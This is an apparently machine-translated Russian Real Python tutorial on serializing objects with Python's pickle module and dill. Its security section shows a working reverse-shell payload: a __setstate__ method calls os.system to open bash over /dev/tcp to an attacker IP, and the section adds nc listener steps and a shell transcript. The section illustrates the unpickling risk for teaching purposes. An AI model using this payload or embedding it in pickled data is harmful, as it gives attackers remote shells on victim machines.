Модуль Python pickle: Как сохранять объекты в Python

Оглавление

Смотрите сейчас, к этому уроку прилагается соответствующий видеокурс, созданный командой Real Python. Посмотрите его вместе с письменным руководством, чтобы углубить свое понимание: Сериализация объектов с помощью модуля Python pickle

Как разработчику, вам иногда может потребоваться отправить сложные иерархии объектов по сети или сохранить внутреннее состояние ваших объектов на диск или в базу данных для последующего использования. Для достижения этой цели вы можете использовать процесс под названием сериализация, который полностью поддерживается стандартной библиотекой благодаря модулю Python pickle .

В этом уроке вы узнаете:

  • Что значит сериализовать и десериализовать объект
  • Какие модули можно использовать для сериализации объектов в Python
  • Какие типы объектов могут быть сериализованы с помощью модуля Python pickle
  • Как использовать модуль Python pickle для сериализации иерархий объектов
  • Каковы риски при десериализации объекта из ненадежного источника

Приступим к маринованию!

Бесплатный бонус: 5 Размышления о мастерстве владения Python, бесплатный курс для разработчиков Python, который показывает вам план действий и мышление, с которым вы будете работать. вам нужно поднять свои навыки работы с Python на новый уровень.

Сериализация в Python

Процесс сериализации - это способ преобразования структуры данных в линейную форму, которая может быть сохранена или передана по сети.

В Python сериализация позволяет взять сложную структуру объекта и преобразовать ее в поток байтов, который можно сохранить на диске или отправить по сети. Вы также можете увидеть, что этот процесс называется сортировкой. Обратный процесс, который принимает поток байтов и преобразует его обратно в структуру данных, называется десериализацией или отменой разделения.

Сериализацию можно использовать в самых разных ситуациях. Одним из наиболее распространенных способов использования является сохранение состояния нейронной сети после этапа обучения, чтобы вы могли использовать ее позже без необходимости повторять обучение.

Python предлагает три различных модуля в стандартной библиотеке, которые позволяют выполнять сериализацию и десериализацию объектов:

  1. Модуль marshal
  2. Модуль json
  3. Модуль pickle

Кроме того, Python поддерживает XML, который вы также можете использовать для сериализации объектов.

Модуль marshal является самым старым из трех перечисленных выше. Он существует в основном для чтения и записи скомпилированного байт-кода модулей Python или файлов .pyc, которые вы получаете, когда интерпретатор импортирует модуль Python. Таким образом, несмотря на то, что вы можете использовать marshal для сериализации некоторых ваших объектов, это не рекомендуется.

Модуль json является самым новым из трех. Он позволяет работать со стандартными файлами JSON. JSON - очень удобный и широко используемый формат для обмена данными.

Существует несколько причин для выбора формата JSON: Он удобочитаем и не зависит от языка, и он легче, чем XML. С помощью модуля json вы можете сериализовать и десериализовать несколько стандартных типов Python:

Модуль Python pickle - это еще один способ сериализации и десериализации объектов в Python. Он отличается от модуля json тем, что сериализует объекты в двоичном формате, что означает, что результат не читается человеком. Однако он также быстрее и работает со многими другими типами Python прямо из коробки, включая ваши пользовательские объекты.

Примечание: С этого момента вы увидите термины маринование и распаковка используется для обозначения сериализации и десериализации с помощью модуля Python pickle.

Итак, у вас есть несколько различных способов сериализации и десериализации объектов в Python. Но какой из них вам следует использовать? Короткий ответ заключается в том, что универсального решения не существует. Все зависит от вашего варианта использования.

Вот три общих рекомендации для принятия решения о том, какой подход использовать:

  1. Не используйте модуль marshal. Он используется в основном интерпретатором, и официальная документация предупреждает, что разработчики Python могут изменять формат обратно несовместимыми способами.

  2. Модуль json и XML - это хороший выбор, если вам нужна совместимость с различными языками или удобный для чтения формат.

  3. Модуль Python pickle является лучшим выбором для всех остальных вариантов использования. Если вам не нужен удобочитаемый формат или стандартный совместимый формат, или если вам нужно сериализовать пользовательские объекты, используйте pickle.

Внутри модуля Python pickle

Модуль Python pickle в основном состоит из четырех методов:

  1. pickle.dump(obj, file, protocol=None, *, fix_imports=True, buffer_callback=None)
  2. pickle.dumps(obj, protocol=None, *, fix_imports=True, buffer_callback=None)
  3. pickle.load(file, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)
  4. pickle.loads(bytes_object, *, fix_imports=True, encoding="ASCII", errors="strict", buffers=None)

Первые два способа используются в процессе маринования, а два других - во время распаривания. Единственная разница между dump() и dumps() заключается в том, что первый создает файл, содержащий результат сериализации, тогда как второй возвращает строку.

Чтобы отличить dumps() от dump(), полезно помнить, что s в конце названия функции означает string. Та же концепция применима и к load() и loads(): первый считывает файл, чтобы начать процесс распаковки, а второй работает со строкой.

Рассмотрим следующий пример. Допустим, у вас есть пользовательский класс с именем example_class и несколькими различными атрибутами, каждый из которых имеет свой тип:

  • a_number
  • a_string
  • a_dictionary
  • a_list
  • a_tuple

В приведенном ниже примере показано, как можно создать экземпляр класса и обработать его, чтобы получить простую строку. После обработки класса вы можете изменить значения его атрибутов, не затрагивая обработанную строку. Затем вы можете удалить выбранную строку из другой переменной , восстановив точную копию ранее выбранного класса:

# pickling.py
import pickle

class example_class:
    a_number = 35
    a_string = "hey"
    a_list = [1, 2, 3]
    a_dict = {"first": "a", "second": 2, "third": [1, 2, 3]}
    a_tuple = (22, 23)

my_object = example_class()

my_pickled_object = pickle.dumps(my_object)  # Pickling the object
print(f"This is my pickled object:\n{my_pickled_object}\n")

my_object.a_dict = None

my_unpickled_object = pickle.loads(my_pickled_object)  # Unpickling the object
print(
    f"This is a_dict of the unpickled object:\n{my_unpickled_object.a_dict}\n")

В приведенном выше примере вы создаете несколько разных объектов и сериализуете их с помощью pickle. В результате получается одна строка с сериализованным результатом:

$ python pickling.py
This is my pickled object:
b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.'

This is a_dict of the unpickled object:
{'first': 'a', 'second': 2, 'third': [1, 2, 3]}

Процесс маринования завершается корректно, весь ваш экземпляр сохраняется в этой строке: b'\x80\x03c__main__\nexample_class\nq\x00)\x81q\x01.' После завершения процесса маринования вы изменяете свой исходный объект, устанавливая для атрибута a_dict значение None.

Наконец, вы преобразуете строку в совершенно новый экземпляр. В результате вы получаете глубокую копию исходной структуры объекта с момента начала процесса выделения.

Форматы протоколов модуля Python pickle

Как упоминалось выше, модуль pickle специфичен для Python, и результат процесса обработки может быть прочитан только другой программой на Python. Но даже если вы работаете с Python, важно знать, что модуль pickle со временем эволюционировал.

Это означает, что если вы выбрали объект с определенной версией Python, то, возможно, вы не сможете распаковать его с более старой версией. Совместимость зависит от версии протокола, который вы использовали для процесса маринования.

В настоящее время существует шесть различных протоколов, которые может использовать модуль Python pickle. Чем выше версия протокола, тем более свежим должен быть интерпретатор Python для распаковки.

  1. Протокол версии 0 был первой версией. В отличие от более поздних протоколов, он удобочитаем.
  2. Протокол версии 1 был первым двоичным форматом.
  3. Протокол версии 2 был представлен в версии Python 2.3.
  4. Протокол версии 3 был добавлен в Python 3.0. Его невозможно открепить с помощью Python 2.x.
  5. Протокол версии 4 был добавлен в Python 3.4. Он поддерживает более широкий диапазон размеров и типов объектов и является протоколом по умолчанию, начиная с Python 3.8.
  6. Протокол версии 5 был добавлен в Python 3.8. Он обеспечивает поддержку внеполосных данных и улучшенную скорость передачи внутриполосных данных.

Примечание: Новые версии протокола предлагают больше возможностей и улучшений, но они ограничены более поздними версиями интерпретатора. Обязательно учитывайте это при выборе используемого протокола.

Чтобы определить самый высокий протокол, поддерживаемый вашим интерпретатором, вы можете проверить значение атрибута pickle.HIGHEST_PROTOCOL.

Чтобы выбрать конкретный протокол, вам необходимо указать версию протокола при вызове load(), loads(), dump() или dumps(). Если вы не укажете протокол, то ваш интерпретатор будет использовать версию по умолчанию, указанную в атрибуте pickle.DEFAULT_PROTOCOL.

Типы с возможностью выбора и без выбора

Вы уже узнали, что модуль Python pickle может сериализовать гораздо больше типов, чем модуль json. Однако не все из них можно выбрать. Список недоступных объектов включает в себя подключения к базе данных, открытые сетевые сокеты, запущенные потоки и другие.

Если вы столкнулись с недоступным объектом, то есть несколько способов, которые вы можете сделать. Первый вариант - использовать стороннюю библиотеку, такую как dill.

Модуль dill расширяет возможности модуля pickle. Согласно официальной документации, это позволяет вам сериализовать менее распространенные типы, такие как функции с результатами, вложенные функции, лямбда-выражения и многие другие.

Чтобы протестировать этот модуль, вы можете попробовать использовать функцию lambda:

# pickling_error.py
import pickle

square = lambda x : x * x
my_pickle = pickle.dumps(square)

Если вы попытаетесь запустить эту программу, то получите исключение, потому что модуль Python pickle не может сериализовать функцию lambda:

$ python pickling_error.py
Traceback (most recent call last):
  File "pickling_error.py", line 6, in <module>
    my_pickle = pickle.dumps(square)
_pickle.PicklingError: Can't pickle <function <lambda> at 0x10cd52cb0>: attribute lookup <lambda> on __main__ failed

Теперь попробуйте заменить модуль Python pickle на dill, чтобы увидеть, есть ли какая-либо разница:

# pickling_dill.py
import dill

square = lambda x: x * x
my_pickle = dill.dumps(square)
print(my_pickle)

Если вы запустите этот код, то увидите, что модуль dill сериализует lambda без возврата ошибки:

$ python pickling_dill.py
b'\x80\x03cdill._dill\n_create_function\nq\x00(cdill._dill\n_load_type\nq\x01X\x08\x00\x00\x00CodeTypeq\x02\x85q\x03Rq\x04(K\x01K\x00K\x01K\x02KCC\x08|\x00|\x00\x14\x00S\x00q\x05N\x85q\x06)X\x01\x00\x00\x00xq\x07\x85q\x08X\x10\x00\x00\x00pickling_dill.pyq\tX\t\x00\x00\x00squareq\nK\x04C\x00q\x0b))tq\x0cRq\rc__builtin__\n__main__\nh\nNN}q\x0eNtq\x0fRq\x10.'

Еще одна интересная особенность dill заключается в том, что она может даже сериализовать всю сессию интерпретатора. Вот пример:

>>> square = lambda x : x * x
>>> a = square(35)
>>> import math
>>> b = math.sqrt(484)
>>> import dill
>>> dill.dump_session('test.pkl')
>>> exit()

В этом примере вы запускаете интерпретатор, импортируете модуль и определяете lambda функцию вместе с парой других переменных. Затем вы импортируете модуль dill и вызываете dump_session() для сериализации всего сеанса.

Если все пойдет хорошо, то вы должны получить файл test.pkl в вашем текущем каталоге:

$ ls test.pkl
4 -rw-r--r--@ 1 dave  staff  439 Feb  3 10:52 test.pkl

Теперь вы можете запустить новый экземпляр интерпретатора и загрузить файл test.pkl, чтобы восстановить свой последний сеанс:

>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>)])
>>> import dill
>>> dill.load_session('test.pkl')
>>> globals().items()
dict_items([('__name__', '__main__'), ('__doc__', None), ('__package__', None), ('__loader__', <class '_frozen_importlib.BuiltinImporter'>), ('__spec__', None), ('__annotations__', {}), ('__builtins__', <module 'builtins' (built-in)>), ('dill', <module 'dill' from '/usr/local/lib/python3.7/site-packages/dill/__init__.py'>), ('square', <function <lambda> at 0x10a013a70>), ('a', 1225), ('math', <module 'math' from '/usr/local/Cellar/python/3.7.5/Frameworks/Python.framework/Versions/3.7/lib/python3.7/lib-dynload/math.cpython-37m-darwin.so'>), ('b', 22.0)])
>>> a
1225
>>> b
22.0
>>> square
<function <lambda> at 0x10a013a70>

Первая инструкция globals().items() показывает, что интерпретатор находится в исходном состоянии. Это означает, что вам необходимо импортировать модуль dill и вызвать load_session(), чтобы восстановить сеанс последовательного интерпретатора.

Примечание: Прежде чем использовать dill вместо pickle, имейте в виду, что dill не входит в стандарт библиотека интерпретатора Python и обычно работает медленнее, чем pickle.

Несмотря на то, что dill позволяет сериализовать более широкий диапазон объектов, чем pickle, это не может решить все проблемы сериализации, которые могут возникнуть у вас. Например, если вам нужно сериализовать объект, содержащий подключение к базе данных, то вам придется нелегко, потому что это несериализуемый объект даже для dill.

Итак, как вы можете решить эту проблему?

Решением в этом случае является исключение объекта из процесса сериализации и повторная инициализация соединения после десериализации объекта.

Вы можете использовать __getstate__(), чтобы определить, что должно быть включено в процесс маринования. Этот метод позволяет вам указать, что именно вы хотите мариновать. Если вы не переопределите __getstate__(), то будет использоваться значение экземпляра по умолчанию .__dict__.

В следующем примере вы увидите, как можно определить класс с несколькими атрибутами и исключить один атрибут из сериализации с помощью __getstate()__:

# custom_pickling.py

import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)

print(my_new_instance.__dict__)

В этом примере вы создаете объект с тремя атрибутами. Поскольку одним из атрибутов является lambda, объект невозможно удалить с помощью стандартного модуля pickle.

Чтобы устранить эту проблему, вы указываете, с чем мариновать __getstate__(). Сначала вы клонируете весь __dict__ экземпляра, чтобы все атрибуты были определены в классе, а затем вручную удаляете атрибут unpicklable c.

Если вы запустите этот пример, а затем десериализуете объект, то увидите, что новый экземпляр не содержит атрибута c:

$ python custom_pickling.py
{'a': 35, 'b': 'test'}

Но что, если бы вы захотели выполнить некоторые дополнительные инициализации при распаковке, скажем, добавив исключенный объект c обратно в десериализованный экземпляр? Вы можете добиться этого с помощью __setstate__():

# custom_unpickling.py
import pickle

class foobar:
    def __init__(self):
        self.a = 35
        self.b = "test"
        self.c = lambda x: x * x

    def __getstate__(self):
        attributes = self.__dict__.copy()
        del attributes['c']
        return attributes

    def __setstate__(self, state):
        self.__dict__ = state
        self.c = lambda x: x * x

my_foobar_instance = foobar()
my_pickle_string = pickle.dumps(my_foobar_instance)
my_new_instance = pickle.loads(my_pickle_string)
print(my_new_instance.__dict__)

Передавая исключенный объект c в __setstate__(), вы гарантируете, что он появится в .__dict__ не выбранной строке.

Сжатие выбранных объектов

Хотя формат данных pickle представляет собой компактное двоичное представление структуры объекта, вы все равно можете оптимизировать выбранную строку, сжав ее с помощью bzip2 или gzip.

Чтобы сжать выделенную строку с помощью bzip2, вы можете использовать модуль bz2, предоставляемый в стандартной библиотеке.

В следующем примере вы берете строку , выделяете ее, а затем сжимаете с помощью библиотеки bz2:

>>> import pickle
>>> import bz2
>>> my_string = """Per me si va ne la città dolente,
... per me si va ne l'etterno dolore,
... per me si va tra la perduta gente.
... Giustizia mosse il mio alto fattore:
... fecemi la divina podestate,
... la somma sapienza e 'l primo amore;
... dinanzi a me non fuor cose create
... se non etterne, e io etterno duro.
... Lasciate ogne speranza, voi ch'intrate."""
>>> pickled = pickle.dumps(my_string)
>>> compressed = bz2.compress(pickled)
>>> len(my_string)
315
>>> len(compressed)
259

При использовании сжатия имейте в виду, что файлы меньшего размера обрабатываются медленнее.

Проблемы с безопасностью модуля Python pickle

Теперь вы знаете, как использовать модуль pickle для сериализации и десериализации объектов в Python. Процесс сериализации очень удобен, когда вам нужно сохранить состояние вашего объекта на диск или передать его по сети.

Однако, есть еще одна вещь, которую вам нужно знать о модуле Python pickle: он небезопасен. Вы помните обсуждение __setstate__()? Что ж, этот метод отлично подходит для дополнительной инициализации при распаковке, но он также может быть использован для выполнения произвольного кода в процессе распаковки!

Итак, что вы можете сделать, чтобы снизить этот риск?

К сожалению, не так много. Основное правило заключается в том, чтобы никогда не извлекать данные, которые поступают из ненадежного источника или передаются по небезопасной сети. Чтобы предотвратить атаки типа "человек посередине", рекомендуется использовать библиотеки, такие как hmac, для подписи данных и обеспечения того, чтобы они не были подделаны.

Следующий пример иллюстрирует, как удаление поврежденного pickle может сделать вашу систему уязвимой для злоумышленников, даже предоставив им работающую удаленную оболочку:

# remote.py
import pickle
import os

class foobar:
    def __init__(self):
        pass

    def __getstate__(self):
        return self.__dict__

    def __setstate__(self, state):
        # The attack is from 192.168.1.10
        # The attacker is listening on port 8080
        os.system('/bin/bash -c
                  "/bin/bash -i >& /dev/tcp/192.168.1.10/8080 0>&1"')


my_foobar = foobar()
my_pickle = pickle.dumps(my_foobar)
my_unpickle = pickle.loads(my_pickle)

В этом примере выполняется процесс распаковки __setstate__(), который выполняет команду Bash для открытия удаленной оболочки на компьютере 192.168.1.10 по порту 8080.

Вот как вы можете безопасно протестировать этот скрипт на вашем Mac или Linux-устройстве. Сначала откройте терминал и используйте команду nc для прослушивания соединения с портом 8080:

$ nc -l 8080

Это будет терминал злоумышленника. Если все сработает, то команда, похоже, зависнет.

Затем откройте другой терминал на том же компьютере (или на любом другом компьютере в сети) и выполните приведенный выше код на Python для удаления вредоносного кода. Обязательно измените IP-адрес в коде на IP-адрес вашего атакующего терминала. В моем примере IP-адрес атакующего равен 192.168.1.10.

Выполнив этот код, жертва предоставит атакующему доступ к оболочке:

$ python remote.py

Если все сработает, на атакующей консоли появится командная строка Bash. Теперь эта консоль может работать непосредственно в атакуемой системе:

$ nc -l 8080
bash: no job control in this shell

The default interactive shell is now zsh.
To update your account to use zsh, please run `chsh -s /bin/zsh`.
For more details, please visit https://support.apple.com/kb/HT208050.
bash-3.2$

Итак, позвольте мне еще раз повторить этот важный момент: Не используйте модуль pickle для десериализации объектов из ненадежных источников!

Заключение

Теперь вы знаете, как использовать модуль Python pickle для преобразования иерархии объектов в поток байтов, который может быть сохранен на диске или передан по сети. Вы также знаете, что процесс десериализации в Python должен использоваться с осторожностью, поскольку удаление чего-либо, полученного из ненадежного источника, может быть чрезвычайно опасным.

В этом уроке вы узнали:

  • Что значит сериализовать и десериализовать объект
  • Какие модули можно использовать для сериализации объектов в Python
  • Какие типы объектов могут быть сериализованы с помощью модуля Python pickle
  • Как использовать модуль Python pickle для сериализации иерархий объектов
  • Каковы риски, связанные с извлечением информации из ненадежного источника

Обладая этими знаниями, вы сможете сохранять свои объекты с помощью модуля Python pickle. В качестве дополнительного бонуса вы готовы рассказать своим друзьям и коллегам об опасностях десериализации вредоносных маринадов.

Если у вас есть какие-либо вопросы, оставьте комментарий ниже или свяжитесь со мной в Twitter.!

<статус завершения article-slug="python-pickle-module" class="btn-group mb-0" data-api-article-bookmark-url="/api/v1/articles/python-pickle-module/bookmark/" данные-api-статья-статус завершения-url="/api/v1/articles/python-pickle-module/completion_status/"> <кнопка поделиться bluesky-text="Интересная статья #Python от @realpython.com :" email-body="Ознакомьтесь с этой статьей о Python:%0A%0 Модуль Python pickle: Как сохранять объекты в Python" email-subject="Статья о Python для вас" twitter-text="Интересная статья о Python от @realpython:" url="https://realpython.com/python-pickle-module /" url-title="Модуль Python pickle: как сохранять объекты в Python">

Смотрите сейчас, к этому уроку прилагается соответствующий видеокурс, созданный командой Real Python. Посмотрите его вместе с письменным руководством, чтобы углубить свое понимание: Сериализация объектов с помощью модуля Python pickle

Back to Top